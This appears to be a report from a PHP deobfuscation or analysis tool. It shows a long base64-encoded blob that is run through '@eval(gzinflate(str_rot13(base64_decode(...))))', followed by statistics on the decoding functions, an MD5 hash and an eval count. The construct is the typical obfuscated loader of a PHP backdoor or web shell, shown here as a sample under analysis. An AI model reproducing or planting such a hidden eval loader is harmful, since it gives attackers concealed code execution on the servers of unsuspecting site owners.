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';$e='yf0DwD8ObUGZYY0PezXYM0TadBhhpbAfnP6P8BPAjkBYbYgDKID+ojtHkNtAjOEfU64rR1Iu1IG6D/oKHclRMoLeOQ3jOqcpLi86RV/bi7T/rHg/4ZuqfI6zHowppIPE1C7WwAcFTJMEu0nhYYB2tYGclDVm5Y0JWth53dMce3SVRN6DamtLEYPsIN6MARixuqPn8BbFGktJQ6/sogx19BmmpqnPJIZB7jNT+W5sUCuFhWDQ60Msherjzs6u2ZLnbEOfWbHMTOB8Z32S6R90OGnwJ9ozIfPY82Bgq4MKdOVAHdIYEnleI51Rka2gfuNdDRHwhJieul6Wls1JHDOi+rR1ydhpxfYGpleiGuWoZbQhvo1OpvEpmDTim+rgn4xte87zuBvkw3ZK1YLzgFA7nmlduAEs+ha0rn9xzqR98njuaYUJ3owmGw2g08/EDbqL5BZypNJC/VQRGhrSTRgBQiIk56BJY8BrxhioA3dV8TtiCXHL3iwa3K2rNYbYEEZPhLVyjIU81XBvABJqwjCxjA4s4Rskaheiiu2wbfUoMUI3ugAQkYnPv5gIwb/uwmT8TguoG78QqySfAuKRZrYyOPp+iLgRyyn6GugraFK3Ao2TLViU9ra1uECP0Y3d1xRswBPKPNnu7Yev6ZARvu/JHzovu7XAk/r5NAF3dUosVLPbriB6q0Tjegsk/JkOs544b2hoN1w79KC4HNuUVxbq6oesW10/IiZuA5IpcDjmagQkbZmhTDrA+wGQ2VzU4W1zaEaqHchMEEO6BkWJTLkdbOcSLDH2QuHA+8cqORcywj8jzq2NrGXKOsQorlkqYvrt2xho7j7g79ETg/0nR55A04z8AdxYJEOdCZzhrhlxxQ7JdnvZmppy+5vi9LFwY/MG78GwN/xsQTvs6eYz0gA+zgDPLUrtBRGm7i3uC+nnZGLNIki+yf8GmkhbJx47OwrwPKP6BQN0QfUB3PezcJqAS9QSH6CehziMNMAejPcunbBkAXJ/cM900pBb6VsD13RjwROy3ch0yVf0mzdUrhZdicCdfg+gM+sKv6/kpXQj0+UvyrGIA2IWnokHrtUR3l9PdMUDgAzvwWOMwzn/OYG5Y2v/x3S+pdr2zmxnqeifjNM1aO86zvOM/EPOeZUddsJuQ7z8Sd5+SD//3zn8gCjf1+fvj5p2L12vBiXy19juv6+vdffvkfax/+YTkzAoXo97ga3NoFvvv61QPYx+BldFmBWhwybrjcT4W834NYFCpWMAkgEoMH/gnw+H8A';
@eval(gzinflate(str_rot13(base64_decode($code))));
?>
Function Calls
| gzinflate | 1 |
| str_rot13 | 1 |
| base64_decode | 1 |
Stats
| MD5 | f72e7fdcc31388e39b47943b05f1a3aa |
| Eval Count | 1 |
| Decode Time | 1338 ms |